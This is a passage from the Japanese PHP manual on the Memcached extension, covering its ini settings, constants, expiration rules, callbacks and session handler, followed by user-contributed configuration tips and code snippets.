圧縮係数。圧縮後のサイズが圧縮係数の限界値を超えていた場合にだけ値を圧縮して保存します。 元のサイズ > 圧縮後のサイズ * 圧縮係数の場合にだけ値を圧縮して保存します。 デフォルト値は 1.3 (23%強の圧縮率) です。

memcached.compression_threshold int

圧縮のしきい値。このしきい値を下回るシリアライズ済みの値は圧縮しません。 デフォルトは2000バイトです。

memcached.serializer string

新しい memcached オブジェクトのデフォルトのシリアライザを設定します。設定値として php, igbinary, json, json_array, msgpack が使えます。

json

標準的な JSON を使います。このシリアライザは高速でコンパクトですが、UTF-8 でエンコードされたデータでしか動作しませんし、完全なシリアライズを実装していません。詳細は JSONエクステンション を参照して下さい。 memcached 0.2.0 以降で利用可能です。

json_array

json と同じですが、シリアライズしたデータを配列に入れます。 memcached 2.0.0 以降で利用可能です。

php

標準的なPHPのシリアライザです。

igbinary

バイナリデータのシリアライザです。 memcached 0.1.4 以降で利用可能です。

msgpack

言語に依存しない、バイナリデータのシリアライザです。 memcached 2.2.0 以降で利用可能です。

デフォルトは 利用可能な場合 igbinary です。 igbinary が利用できない場合は msgpack が(利用可能な場合のみ) デフォルトになります。 いずれも利用できない場合は、php がデフォルトになります。

memcached.use_sasl bool

接続時に SASL認証 を使います。設定値として On, Off が使えます。デフォルトは Off です。

memcached.default_binary_protocol bool

新しい接続で使う、デフォルトの memcached プロトコルを設定します (セッションで使う memcached プロトコルを設定するには、 memcached.sess_binary_protocol を代わりに使って下さい)。 On にすると、memcached バイナリプロトコルをデフォルトで使います。 Off にすると、memcached テキストプロトコルを使います。 デフォルトは Off です。

memcached.default_connect_timeout int

新しい接続で使う、デフォルトの memcached の接続タイムアウト値を設定します (セッションで使う memcached の接続タイムアウト値を設定するには、 memcached.sess_connect_timeout を代わりに使って下さい)。 ノンブロッキングモードの場合、この値は ソケット接続中のタイムアウトの値をミリ秒単位で変更します。 -1 を指定すると、タイムアウトしません。 0 を指定すると、memcached ライブラリのデフォルトの接続タイムアウト値を使います。 デフォルトは 0 です。

memcached.default_consistent_hash bool

新しい接続で使う、デフォルトの コンシステント・ハッシュ法を指定します (セッションで使う コンシステント・ハッシュ法 を設定するには、 memcached.sess_consistent_hash を代わりに使って下さい)。 On にすると、セッション管理に コンシステント・ハッシュ法 (libketama) を使います。 コンシステント・ハッシュ法を使うと、既存のキーに煩わされることなく キャッシュノードを追加したり削除したりできます。デフォルトは Off です。

memcached.sess_binary_protocol bool

memcached でセッション管理を行う場合に、 (memcached text プロトコルではなく) memcached バイナリプロトコル を使うように指定します。 これは、libmemcached レプリカのバイナリモードが有効になっている場合にのみ有効です。 バイナリプロトコルが無効な場合にのみ動作するプロキシ(たとえば、twemproxy) もあります。 php-memcached の古いバージョンでは、この設定は memcached.sess_binary と呼ばれていました。 デフォルト値は libmemcached 1.0.18 以降は On です。 それより前のバージョンでは Off になっています。

memcached.sess_connect_timeout int

memcached の接続タイムアウト値を指定します。 ノンブロッキングモードの場合、この値は ソケット接続中のタイムアウトの値をミリ秒単位で変更します。 -1 を指定すると、タイムアウトしません。

memcached.sess_consistent_hash_type string

Memcached のセッション管理で使う、コンシステント・ハッシュ法を指定します。 'ketama' を指定すると、セッション管理にコンシステント・ハッシュ(libketama) を使います。 これは php-memcached 3.x のデフォルトです。 'ketama_weighted' を指定すると、重み付きのコンシステント・ハッシュ(libketama) をセッション管理に使います。 これは php-memcached 2.x のデフォルトです。 デフォルトは "ketama" です。

memcached.sess_lock_expire int

ロックが解放されるまでの時間を秒単位で指定します。 0 を指定すると、デフォルトの動作になります。 つまり、PHP の max_execution_time の値を使います。 デフォルト値は 0 です。

memcached.sess_lock_retries int

セッションのロックを取得するためのリトライ回数を指定します。 この値には、最初の試行は含まれません。 デフォルト値は 5 です。

memcached.sess_lock_wait_max int

セッションのロック取得を試みる際に、 それぞれの試行の間に待つ最大の時間をミリ秒単位で指定します。 デフォルト値は 150 です。

memcached.sess_lock_wait_min int

セッションのロック取得を試みる際に、 それぞれの試行の間に待つ最小の時間をミリ秒単位で指定します。 まず memcached.sess_lock_wait_min 待ってリトライします。 その後リトライを行うたびに、memcached.sess_lock_wait_max に達するまで、 現在のリトライ時間を2倍して待ちます。 その後は、sess_lock_wait_max の間待ちます。 デフォルト値は 150 です。

memcached.sess_persistent bool

スクリプトの実行が終了した後、session.save_path に対応する memcached 接続を再利用するかどうかを指定します。 特定の設定 (たとえば SASL 設定や, sess_binary_protocol) がリクエスト間で上書きされる場合は、 この設定を使ってはいけません。 デフォルト値は Off です。

memcached.sess_remove_failed_servers bool

ダウンした memcahced サーバを自動的に削除する機能を有効にします。 デフォルト値は Off です。 (前のバージョンでは、この設定は memcached.sess_remove_failed と呼ばれていました)

memcached.sess_server_failure_limit int

指定した回数接続が失敗した場合に、サーバを削除する機能を有効にします。 デフォルト値は 0 です。

memcached.sess_sasl_password string

セッションの SASL パスワードを指定します。 SASL を有効にするには、ユーザー名とパスワードを両方指定する必要があります。

memcached.sess_sasl_username string

セッションの SASL ユーザ名を指定します。 SASL を有効にするには、ユーザー名とパスワードを両方指定する必要があります。

memcached.store_retry_count int

store コマンドが失敗した場合に、行うリトライの回数を指定します。 この仕組みを使うと、 複数サーバ構成で set/increment/decrement/setMulti 操作が失敗した場合に、 セカンダリサーバへ透過的なフェイルオーバーを行うことが出来ます。 デフォルト値は 2 です。

User Contributed Notes

Piotr Gabryjeluk 11-Sep-2017 11:12
Apparently in version 3.0.3 the default for memcached.sess_binary_protocol in TRUE. Also note the key is memcached.sess_binary_protocol, not memcached.sess.

Setting memcached.sess_binary_protocol to FALSE is required if you want to save the session to memcached through twemproxy.
senz 06-Mar-2014 01:28
In case, you are wondering why your sessions are "killed" after 1440 seconds, take a look at session.gc_maxlifetime. It's value is used in memcached expiration field according to memcache protocol rules. Also, do not forget about cookie expiration time
adolfoabegg at gmail dot com 15-Dec-2011 09:01
you can get the list of the possible options for the memcached.ini configuration file here:
https://github.com/php-memcached-dev/php-memcached/blob/master/memcached.ini


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

Memcached::OPT_COMPRESSION

ペイロードの圧縮を有効あるいは無効にします。有効にすると、 一定の閾値 (現在は 100 バイト) を超える長さのアイテムは 格納時に圧縮され、取得時に伸長されます。この操作は透過的に行われます。

型: boolean、デフォルト: true

Memcached::OPT_SERIALIZER

非スカラ値のシリアライズに使うシリアライザを指定します。 有効なシリアライザは Memcached::SERIALIZER_PHP あるいは Memcached::SERIALIZER_IGBINARY です。 後者のシリアライザをサポートするのは memcached の configure 時に --enable-memcached-igbinary オプションを指定して igbinary 拡張を読み込んだときだけです。

型: integer、デフォルト: Memcached::SERIALIZER_PHP

Memcached::SERIALIZER_PHP

デフォルトの PHP シリアライザ。

Memcached::SERIALIZER_IGBINARY

» igbinary シリアライザ。 テキスト表現ではなく、PHP のデータ構造をコンパクトなバイナリ形式で格納します。 その結果、容量と時間を節約できます。

Memcached::SERIALIZER_JSON

JSON シリアライザ。PHP 5.2.10 以降が必要です。

Memcached::OPT_PREFIX_KEY

これを使うと、アイテムのキーに「ドメイン」を作成できます。 ここで指定した値がキーの名前の先頭に付きます。 128 文字より長くはできず、 ここで指定した値の分だけキーに指定できる長さが小さくなります。 プレフィックスが付くのはアイテムのキーだけであり、 サーバーのキーには付きません。

型: string、デフォルト: ""

Memcached::OPT_HASH

アイテムのキーに使うハッシュアルゴリズムを指定します。 有効な値は、定数 Memcached::HASH_* のいずれかです。 どのハッシュアルゴリズムにもそれぞれ利点や欠点があります。 よくわからない場合やあまり難しく考えたくない場合はデフォルトで進めましょう。

型: integer、デフォルト: Memcached::HASH_DEFAULT

Memcached::HASH_DEFAULT

デフォルトのハッシュアルゴリズム (Jenkins one-at-a-time)。

Memcached::HASH_MD5

MD5 ハッシュアルゴリズム。

Memcached::HASH_CRC

CRC ハッシュアルゴリズム。

Memcached::HASH_FNV1_64

FNV1_64 ハッシュアルゴリズム。

Memcached::HASH_FNV1A_64

FNV1_64A ハッシュアルゴリズム。

Memcached::HASH_FNV1_32

FNV1_32 ハッシュアルゴリズム。

Memcached::HASH_FNV1A_32

FNV1_32A ハッシュアルゴリズム。

Memcached::HASH_HSIEH

Hsieh ハッシュアルゴリズム。

Memcached::HASH_MURMUR

Murmur ハッシュアルゴリズム。

Memcached::OPT_DISTRIBUTION

アイテムのキーをサーバーに振り分ける方式を指定します。 現在サポートしている方式は、モジュロとコンシステント・ハッシュの二種類です。 コンシステント・ハッシュのほうがよりうまく分散させられ、 サーバーをクラスタに追加するときにもキャッシュのロスを最小限に抑えられます。

型: integer、デフォルト: Memcached::DISTRIBUTION_MODULA

Memcached::DISTRIBUTION_MODULA

モジュロベースのキー分散アルゴリズム。

Memcached::DISTRIBUTION_CONSISTENT

コンシステント・ハッシュを使ったキー分散アルゴリズム (libketama を利用)。

Memcached::OPT_LIBKETAMA_COMPATIBLE

libketama 風の挙動との互換性を有効あるいは無効にします。 有効にすると、アイテムのキーのハッシュアルゴリズムは MD5、 そして分散方式は重み付きコンシステント・ハッシュになります。 これを使うと、他の libketama ベースのクライアント (Python や Ruby など) を同じサーバー設定で使え、キーも透過的にアクセスできるようになるので有用です。

注意:

コンシステント・ハッシュを使うときは、このオプションを有効にしておくことを強く推奨します。 将来のリリースでは、これはデフォルトで有効になる予定です。

型: boolean、デフォルト: false

Memcached::OPT_BUFFER_WRITES

バッファ入出力を有効あるいは無効にします。 バッファ入出力を有効にすると、ストレージへのコマンドを送信する代わりに 「バッファ」に向けるようになります。 データを取得するアクションを実行すると、このバッファをリモート接続に送信します。 接続を終了したり閉じたりしたときも、バッファに入ったデータをリモート接続に送信します。

型: boolean、デフォルト: false

Memcached::OPT_BINARY_PROTOCOL

バイナリプロトコルを使えるようにします。 既に開いている接続ではこのオプションを切り替えられないことに注意しましょう。

型: boolean、デフォルト: false

Memcached::OPT_NO_BLOCK

非同期入出力を有効あるいは無効にします。 これは、ストレージ関数で使える転送の中でも最も高速なものです。

型: boolean、デフォルト: false

Memcached::OPT_TCP_NODELAY

ソケット接続用のno-delay機能 (環境によってはそのほうが高速化する) を有効あるいは無効にします。

型: boolean、デフォルト: false

Memcached::OPT_SOCKET_SEND_SIZE

バッファに送信するソケットの最大のバイト数。

型: integer、デフォルト: プラットフォームやカーネルの設定によって異なる

Memcached::OPT_SOCKET_RECV_SIZE

ソケットの受信バッファの最大のバイト数。

The maximum socket receive buffer in bytes.

型: integer、デフォルト: プラットフォームやカーネルの設定によって異なる

Memcached::OPT_CONNECT_TIMEOUT

非ブロックモードの場合、ここにはソケット接続のタイムアウト値をミリ秒単位で指定します。

型: integer、デフォルト: 1000

Memcached::OPT_RETRY_TIMEOUT

接続に失敗したときに、どれだけ失敗するまで接続を再試行するかどうかを、秒数で表す。

型: integer、デフォルト: 0

Memcached::OPT_SEND_TIMEOUT

ソケットの送信タイムアウトをマイクロ秒で指定します。 非ブロックモードの入出力を使えない場合でも、 これを使ってデータ送信のタイムアウトを指定できます。

型: integer、デフォルト: 0

Memcached::OPT_RECV_TIMEOUT

ソケットの読み込みタイムアウトをマイクロ秒で指定します。 非ブロックモードの入出力を使えない場合でも、 これを使ってデータ読み込みのタイムアウトを指定できます。

型: integer、デフォルト: 0

Memcached::OPT_POLL_TIMEOUT

接続をポーリングする際のタイムアウト時間をミリ秒単位で指定します。

型: integer、デフォルト: 1000

Memcached::OPT_CACHE_LOOKUPS

DNS ルックアップのキャッシュを有効あるいは無効にします。

型: boolean、デフォルト: false

Memcached::OPT_SERVER_FAILURE_LIMIT

サーバーへの接続の最大試行回数を指定します。 指定した回数だけ接続の失敗が続くと、サーバーが削除されます。

型: integer、デフォルト: 0

Memcached::HAVE_IGBINARY

igbqinary シリアライザのサポートが有効かどうかを示します。

型: boolean

Memcached::HAVE_JSON

JSON シリアライザのサポートが有効かどうかを示します。

型: boolean

Memcached::HAVE_MSGPACK

msgpack シリアライザのサポートが有効かどうかを示します。

Type: boolean.

Memcached 3.0.0 以降で使用可能です。

Memcached::HAVE_SESSION

Type: boolean.

Memcached 3.0.0 以降で使用可能です。

Memcached::HAVE_SASL

Type: boolean.

Memcached 3.0.0 以降で使用可能です。

Memcached::GET_EXTENDED

Memcached::get(), Memcached::getMulti(), Memcached::getMultiByKey() が CASトークンの値も返すかを保証するフラグ

Memcached 3.0.0 以降で使用可能です。

Memcached::GET_PRESERVE_ORDER

Memcached::getMulti() や Memcached::getMultiByKey() のフラグで、 リクエストしたときと同じ順番でキーを返すことを示します。 存在しないキーを指定すると、デフォルト値の NULL を返します。

Memcached::RES_SUCCESS

実行しようとした操作が成功したことを示します。

Memcached::RES_FAILURE

実行しようとした操作が何らかの点で失敗したことを示します。

Memcached::RES_HOST_LOOKUP_FAILURE

DNSの名前解決が失敗したことを示します。

Memcached::RES_UNKNOWN_READ_FAILURE

ネットワーク経由でのデータの読み取りに失敗したことを示します。

Memcached::RES_PROTOCOL_ERROR

memcached プロトコル内で不正なコマンドが実行されたことを示します。

Memcached::RES_CLIENT_ERROR

クライアント側でエラーが起きたことを示します。

Memcached::RES_SERVER_ERROR

サーバー側でエラーが起きたことを示します。

Memcached::RES_WRITE_FAILURE

ネットワーク経由でのデータの書き込みに失敗したことを示します。

Memcached::RES_DATA_EXISTS

比較と交換に失敗したことを示します。格納しようとしたアイテムは、 最後に取得したあとで変更されています。

Memcached::RES_NOTSTORED

アイテムが格納されなかったが、その原因はエラーではないということを示します。 これは通常、"add" や "replace" コマンドの要件を満たさなかったか あるいはアイテムが削除キューに入っていることを意味します。

Memcached::RES_NOTFOUND

このキーのアイテムが ("get" や "cas" の操作で) 見つからなかったことを示します。

Memcached::RES_PARTIAL_READ

ネットワーク経由でのデータの読み取りが一部失敗したことを示します。

Memcached::RES_SOME_ERRORS

multi-get を実行中にエラーが発生したことを示します。

Memcached::RES_NO_SERVERS

サーバーリストが空であることを示します。

Memcached::RES_END

結果セットの末尾を示します。

Memcached::RES_ERRNO

システムエラーを示します。

Memcached::RES_BUFFERED

実行している操作がバッファリングされていることを示します。

Memcached::RES_TIMEOUT

実行がタイムアウトしたことを示します。

Memcached::RES_BAD_KEY_PROVIDED

不正なキーを与えたことを示します。

Memcached::RES_CONNECTION_SOCKET_CREATE_FAILURE

ネットワークソケットの作成が失敗したことを示します。

Memcached::RES_PAYLOAD_FAILURE

ペイロードに関するエラー: つまり、値を シリアライズ/復元 したり、圧縮/解凍 することができなかったことを示します。

Memcached::RES_AUTH_PROBLEM

Memcached 3.0.0 以降で使用可能です。

Memcached::RES_AUTH_FAILURE

Memcached 3.0.0 以降で使用可能です。

Memcached::RES_AUTH_CONTINUE

Memcached 3.0.0 以降で使用可能です。

Memcached::RES_E2BIG

Memcached 3.0.0 以降で使用可能です。

Memcached::RES_KEY_TOO_BIG

Memcached 3.0.0 以降で使用可能です。

Memcached::RES_SERVER_TEMPORARILY_DISABLED

Memcached 3.0.0 以降で使用可能です。

Memcached::RES_SERVER_MEMORY_ALLOCATION_FAILURE

Memcached 3.0.0 以降で使用可能です。

User Contributed Notes

Anonymous 24-Feb-2017 12:06
Note that with Memcached::OPT_BINARY_PROTOCOL enabled there is some (possibly significant) size overhead added at the TCP level.

If you have a high volume of small values being get/set, you should analyze the effect of this option on your overall traffic size with a network tool (e.g. tcpdump) before enabling it, especially if you pay for traffic in/out of your memcache instance.
igorsantos07 no gmail 28-Dec-2015 07:00
As per a StackOverflow answer (http://stackoverflow.com/a/9042985/102960, by @rid), this is the current list of Memcached Response constants:

00 = MEMCACHED_SUCCESS
01 = MEMCACHED_FAILURE
02 = MEMCACHED_HOST_LOOKUP_FAILURE // getaddrinfo() and getnameinfo() only
03 = MEMCACHED_CONNECTION_FAILURE
04 = MEMCACHED_CONNECTION_BIND_FAILURE // DEPRECATED see MEMCACHED_HOST_LOOKUP_FAILURE
05 = MEMCACHED_WRITE_FAILURE
06 = MEMCACHED_READ_FAILURE
07 = MEMCACHED_UNKNOWN_READ_FAILURE
08 = MEMCACHED_PROTOCOL_ERROR
09 = MEMCACHED_CLIENT_ERROR
10 = MEMCACHED_SERVER_ERROR // Server returns "SERVER_ERROR"
11 = MEMCACHED_ERROR // Server returns "ERROR"
12 = MEMCACHED_DATA_EXISTS
13 = MEMCACHED_DATA_DOES_NOT_EXIST
14 = MEMCACHED_NOTSTORED
15 = MEMCACHED_STORED
16 = MEMCACHED_NOTFOUND
17 = MEMCACHED_MEMORY_ALLOCATION_FAILURE
18 = MEMCACHED_PARTIAL_READ
19 = MEMCACHED_SOME_ERRORS
20 = MEMCACHED_NO_SERVERS
21 = MEMCACHED_END
22 = MEMCACHED_DELETED
23 = MEMCACHED_VALUE
24 = MEMCACHED_STAT
25 = MEMCACHED_ITEM
26 = MEMCACHED_ERRNO
27 = MEMCACHED_FAIL_UNIX_SOCKET // DEPRECATED
28 = MEMCACHED_NOT_SUPPORTED
29 = MEMCACHED_NO_KEY_PROVIDED /* Deprecated. Use MEMCACHED_BAD_KEY_PROVIDED! */
30 = MEMCACHED_FETCH_NOTFINISHED
31 = MEMCACHED_TIMEOUT
32 = MEMCACHED_BUFFERED
33 = MEMCACHED_BAD_KEY_PROVIDED
34 = MEMCACHED_INVALID_HOST_PROTOCOL
35 = MEMCACHED_SERVER_MARKED_DEAD
36 = MEMCACHED_UNKNOWN_STAT_KEY
37 = MEMCACHED_E2BIG
38 = MEMCACHED_INVALID_ARGUMENTS
39 = MEMCACHED_KEY_TOO_BIG
40 = MEMCACHED_AUTH_PROBLEM
41 = MEMCACHED_AUTH_FAILURE
42 = MEMCACHED_AUTH_CONTINUE
43 = MEMCACHED_PARSE_ERROR
44 = MEMCACHED_PARSE_USER_ERROR
45 = MEMCACHED_DEPRECATED
46 = MEMCACHED_IN_PROGRESS
47 = MEMCACHED_SERVER_TEMPORARILY_DISABLED
48 = MEMCACHED_SERVER_MEMORY_ALLOCATION_FAILURE
49 = MEMCACHED_MAXIMUM_RETURN /* Always add new error code before */
11 = MEMCACHED_CONNECTION_SOCKET_CREATE_FAILURE = MEMCACHED_ERROR
Allen Tsai 24-May-2011 03:04
Memcached::OPT_SERVER_FAILURE_LIMIT - once a server has hit this limit, the client's getResultMessage() will return "SERVER IS MARKED DEAD."  Further gets() for keys hashing to this server will continue returning this message, as will sets() hashing to the dead server.

Version 2.0.01b supports a constant Memcached::OPT_AUTO_EJECT_HOSTS which allows automatic rebalancing of the cluster/automatic failover handling.
akenney at onesite dot com 29-Dec-2010 08:13
Apparently there is a bug in libmemcached where connect timeout does not work when OPT_NO_BLOCK is set as well.

The bug and related blocking bugs are discussed here:
https://bugs.launchpad.net/libmemcached/+bug/583031

We confirmed this in libmemcached version 0.43

Be sure to test some memcache servers in your pool being unavailable (no route to host and memcache service down) to ensure that timeout settings are working correctly.
tyliu2 at gmail dot com 21-Jan-2010 10:07
RES_SUCCESS = 0
RES_FAILURE = 1
RES_HOST_LOOKUP_FAILURE = 2
RES_UNKNOWN_READ_FAILURE = 7
RES_PROTOCOL_ERROR = 8
RES_CLIENT_ERROR = 9
RES_SERVER_ERROR = 10
RES_WRITE_FAILURE = 5
RES_DATA_EXISTS = 12
RES_NOTSTORED = 14
RES_NOTFOUND = 16
RES_PARTIAL_READ = 18
RES_SOME_ERRORS = 19
RES_NO_SERVERS = 20
RES_END = 21
RES_ERRNO = 26
RES_BUFFERED = 32
RES_TIMEOUT = 31
RES_BAD_KEY_PROVIDED = 33
RES_CONNECTION_SOCKET_CREATE_FAILURE = 11
RES_PAYLOAD_FAILURE = -1001


有効期限

格納用コマンドの中には、(アイテム単位あるいはクライアントから要求された操作単位の) 有効期限をサーバーに送信するものがあります。そのような場合に実際に送られる値は、 Unix タイム (1970 年 1 月 1 日からの経過秒数) あるいは現在時刻からの秒数となります。 後者の場合、最大の秒数は 60*60*24*30 (30 日間をあらわす秒数) までとなります。 もし有効期限がそれより長い場合は、現在時刻からの経過秒数ではなく Unix タイムであるとサーバーにみなされてしまいます。

有効期限を 0 (デフォルト) にすると、 アイテムは期限切れにならなくなります (しかし、他のアイテム用の場所を確保するためにサーバーから削除されることもありえます)。

User Contributed Notes

i dot caught dot air at gmail dot com 25-Oct-2017 06:11
A TTL of n seconds will expire between n and n-1 seconds as memcache doesn't use a high-resolution clock internally.

This is important to consider if you're working with very short TTLs.

See https://github.com/memcached/memcached/issues/307
valugi at gmail dot com 18-Nov-2016 11:48
The fact that one sets an expiration time does not mean that the keys will expire at that particular time. I'm not sure what is happening in the background, if there is a process like a garbage collector that expire keys, but some function do not activate the expiration check and return the key as valid, for example `getAllKeys` is not atomic and returns even expired keys.

$memcached = new Memcached();
$memcached->set('key','value',10);
//waiting more than 10 sec
sleep(20);
$data = $memcached->getAllKeys();
var_dump($data); // key will still be listed
$key = $memcached->get('key'); // will trigger the expiration
info at tueena dot com 24-Jan-2012 03:24
Note that if you pass the expiration time as an offset of seconds then the cache item will expire in current-second + offset, not in now + offset.

<?php
$Memcached->add('foo', 42, 2);
?>

This item will expire in n seconds where n > 1 and <= 2, not in exactly 2 seconds.


コールバック

目次

  • Result コールバック
  • Read-through キャッシュコールバック

User Contributed Notes

There are no user contributed notes for this page.


Result コールバック

Result callable が起動されるのは、 Memcached::getDelayed() あるいは Memcached::getDelayedBykey() メソッドで結果セットの各アイテムに対してコールしたときです。 このコールバックに渡されるのは、Memcached オブジェクトと、 アイテム情報を含む配列です。 このコールバックは何も返す必要がありません。

例1 Result コールバックの例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);
$items = array(
    'key1' => 'value1',
    'key2' => 'value2',
    'key3' => 'value3'
);
$m->setMulti($items);
$m->getDelayed(array('key1', 'key3'), true, 'result_cb');

function result_cb($memc, $item)
{
    var_dump($item);
}
?>

上の例の出力は、 たとえば以下のようになります。

array(3) {
  ["key"]=>
  string(4) "key1"
  ["value"]=>
  string(6) "value1"
  ["cas"]=>
  float(49)
}
array(3) {
  ["key"]=>
  string(4) "key3"
  ["value"]=>
  string(6) "value3"
  ["cas"]=>
  float(50)
}

User Contributed Notes

edwarddrapkin at gmail dot com 11-Mar-2009 05:54
I was having trouble making method calls with the result callbacks in getDelayed, so I emailed the developer.

If you want to use a non-static method as a callback, use the following format: array($obj, 'method'); for example:

<?php
class foo {
    private $M = false;

    public function __construct() {
        $this->M = new Memcached();
        $this->M->addServer('localhost', 11211);
        $this->M->set('a', 'test');
    }

    public function test() {
        $this->M->getDelayed(array('a'), false, array($this, 'fun'));
    }

    public function fun() {
        echo "Great Success!";
    }
}

$f = new foo();
$f->test();
?>

or, alternatively:

<?php
class foo {
    public $M = false;

    public function __construct() {
        $this->M = new Memcached();
        $this->M->addServer('localhost', 11211);
        $this->M->set('a', 'test');
    }

    public function fun() {
        echo "Great Success!";
    }
}

$f = new foo();
$f->M->getDelayed(array('a'), false, array($f, 'fun'));
?>

Works great, thanks Andrei :)


Read-through キャッシュコールバック

Read-through キャッシュコールバックが起動されるのは、 アイテムをサーバーから取得できなかったときです。 このコールバックに渡されるのは Memcached オブジェクト、 要求されたキー、そして値を格納する変数への参照です。 このコールバックの役割は、値を設定して true あるいは false を返すことです。 コールバックが true を返した場合は、 Memcached は設定された値をサーバーに格納して呼び出し元の関数にその値を返します。 このコールバックをサポートしているのは Memcached::get() と Memcached::getByKey() のみです。 というのも memcache プロトコルでは、 複数のキーが要求されたときにどのキーが見つからなかったのかを知る方法がないからです。

例1 Read-through コールバックの例

<?php
$m = new Memcached();
$m->addServer('localhost', 11211);

$profile_info = $m->get('user:'.$user_id, 'user_info_cb');

function user_info_cb($memc, $key, &$value)
{
    $user_id = substr($key, 5);
    /* プロファイル情報を DB から探します */
    /* ... */
    $value = $profile_info;
    return true;
}
?>

User Contributed Notes

chadkouse 27-Dec-2011 01:24
Or just set the value within the callback with your own custom expiration time and return false.  I think it's cleaner.
oorza2k5 at gmail dot com 20-Mar-2009 05:40
This isn't specified anywhere, so I had a gander at the source...

The expiry on read-through cache set values is set to 0, or forever.  This means if you want your key to implicitly expire, don't use the callback methods, instead check for boolean false as a return and manually set the value, at least for now.


セッションのサポート

Memcached は独自のセッションハンドラを用意しており、 これを使用するとユーザーセッションを memcache に格納することができます。 内部的に使用するのは完全に分離された memcached インスタンスなので、 必要に応じて別のサーバープールを使用することができます。 セッションのキーは、プレフィックス memc.sess.key. をつけて格納されます。 同じサーバープールでセッションと一般のキャッシュを両方使用する場合は注意しましょう。

session.save_handler string

memcached を設定すると、セッションのサポートが有効となります。

session.save_path string

ホスト名:ポート 形式のエントリをカンマ区切りで指定します。 これをセッションサーバープールとして使用します。たとえば "sess1:11211, sess2:11211" のようになります。

User Contributed Notes

atesin > gmail 06-Aug-2020 08:22
moderator please merge these posts

an errata to my comment done on 2020-07-28 01:06 about tmpfs session dir...

the tmpfs directory i used to install session files is "/run" not "/tmp"...  as /tmp is auto (or manual) deleted sometimes
atesin > gmail 28-Jul-2020 01:06
memcached is great, is lightning fast, very versatile and useful, scalable, and is a must have for many projects

but if you only want speed to minimize session file blocking there is also a good alternative, tmpfs

https://eddmann.com/posts/storing-php-sessions-file-caches-in-memory-using-tmpfs/

maybe if you are in debian you already had session directory in tmp (mounted as tmpfs), but beware of daily cleaning process that can mess up your sessions

you can use this trick if you are in centos/other (like me) or even if you are in debian but want to get ride of /tmp cleaning task

i realized in my system /run is also mounted as tmpfs, so i shut php-fpm down, moved my php session dir to /tmp/, reconfigure php and start again... (you can adapt it to your situation)

  systemctl stop php-fpm
  cp -a /var/lib/php/session /tmp/php-session
  vim /etc/php-fpm-d/www.conf
  ------
  php_value[session.save_path] = /run/php-session
  ------
  systemctl start php-fpm

the only drawback is tmpfs is VOLATILE, just like memcached (data is lost on unmount/shutdown/power fail), to  circumvent this risk i wrote another service that restores/backup php session dir before/after php starts/stops... (UNTESTED!)

  vim /etc/systemd/system/php-session-backup.service
  ------
  # basic persistence for tmpfs php sessions

  [Unit]
  Description=PHP tmpfs sessions backup/restore on shutdown/boot
  Before=php-fpm.service

  [Service]
  Type=oneshot
  RemainAfterExit=true
  ExecStart=rm -fr /run/php-session
  ExecStart=cp -fa /var/lib/php/session /run/php-session
  ExecStop=rm -fr /var/lib/php/session
  ExecStop=cp -fa /run/php-session /var/lib/php/session

  [Install]
  WantedBy=multi-user.target
  ------
  systemctl enable php-session-backup

you can also complement this with a daily backup task in case of system crash so you will lose just one day

  crontab -e
  ------
  0 4 * * * rm -fr /var/lib/php/session;cp -fa /run/php-session /var/lib/php/session
  ------

this is very rough though, you can better use inotify + rsync, could take some ideas from here

https://blog.jmdawson.co.uk/persistent-ramdisk-on-debain-ubuntu/
velazcomtz dot miguel at gmail dot com 15-Nov-2018 11:22
Is important to address that memcached is not concurrent just as regular PHP sessions.

If you have two tabs and one of them takes too long to respond and try to log out on the second, the memcached server won't respond.
benoit dot delmotte at gmail dot com 31-Mar-2017 01:41
in case of multiples memcached servers,
the separator is a semicolon ( ; ) not a comma as written

example:
session.save_path = "sess1:11211; sess2:11211"
madalin at mgiworx dot co dot uk 24-Jul-2015 08:14
short mention: Memcached has authentication support.
Ian Maddox 03-Jul-2014 02:22
If you are setting data to the session and it immediately disappears and you aren't getting any warnings in your PHP error log, it's probably because your sessions expired sometime in the 1970s.

Somewhere between memcached 1.0.2 and 2.1.0, the memcached session handler became sensitive to the 30-day TTL gotcha (aka "transparent failover").  If your session.gc_maxlifetime is greater than 2592000 (30 days), the value is treated as a unix timestamp instead of a relative seconds count.

This issue is likely to impact anyone with long-running sessions who is upgrading from Ubuntu 12.04 to 14.04.
me at nileshgr dot com 08-Apr-2014 10:38
It seems a few people think saving sessions in memcache is more secure compared to saving in file-system (/tmp) especially when the discussion is about shared hosting.

This is not true. memcache has NO authentication; everybody & anybody can read session.save_path (which will contain the memcached daemon address).

FastCGI (PHP-FPM) is much much better when you're considering security and shared hosting.

If you want to share sessions across multiple servers transparently without having headaches of adding custom handlers, you can use NFS or something similar.
richard at fussenegger dot info 16-Jun-2013 08:56
The documentation is not complete, you can also pass the weight of each server and you can use sockets if you want. In your PHP ini:

<?php

// Sockets with weight in the format socket_path:port:weight
session.save_path = "/path/to/socket:0:42"

// Or more than one so that weight makes sense?
session.save_path = "/path/to/socket_x:0:42,/path/to/socket_y:0:666"

?>

And if you should ever want to access these servers in PHP:

<?php

$servers = explode(",", ini_get("session.save_path"));
$c = count($servers);
for ($i = 0; $i < $c; ++$i) {
  $servers[$i] = explode(":", $servers[$i]);
}
$memcached = new \Memcached();
call_user_func_array([ $memcached, "addServers" ], $servers);
print_r($memcached->getAllKeys());

?>
taubers at gmail dot com 04-Oct-2012 11:42
If you are using the memcache class for session handling your key is the PHP session ID.  This is different than when using the  memcached class.

Example with memcache:
GET nphu2u8eo5niltfgdbc33ajb62

Example with memcached:
GET memc.sess.key.nphu2u8eo5niltfgdbc33ajb62

For memcached, the prefix is set in the config:
memcached.sess_prefix = "memc.sess.key."
sstratton at php dot net 14-Jun-2011 12:48
While the previous poster has a point that Memcached can and will cleanup to make room for it's keys, the likelihood of active sessions (due to the likelihood that they will be written to again within 30 seconds) is fairly low provided you have your memory allocation properly alloted.
nfoo at naver dot com 28-Aug-2010 12:15
If you want to use 'memcacheD' extention not 'memcache' (there are two diffrent extentions) for session control,  you should pay attention to modify php.ini

Most web resource from google is based on memcache because It's earlier version than memcacheD. They will say as following

session.save_handler = memcache
session.save_path = "tcp://localhost:11211"

But it's not valid when it comes to memcacheD

you should modify php.ini like that

session.save_handler = memcached
session.save_path = "localhost:11211"

Look, there is no protocol indentifier
Andrei Darashenka 27-May-2009 07:56
This extension supports Session-locking!

by default
MEMC_SESS_LOCK_ATTEMPTS   30
MEMC_SESS_LOCK_WAIT       100000
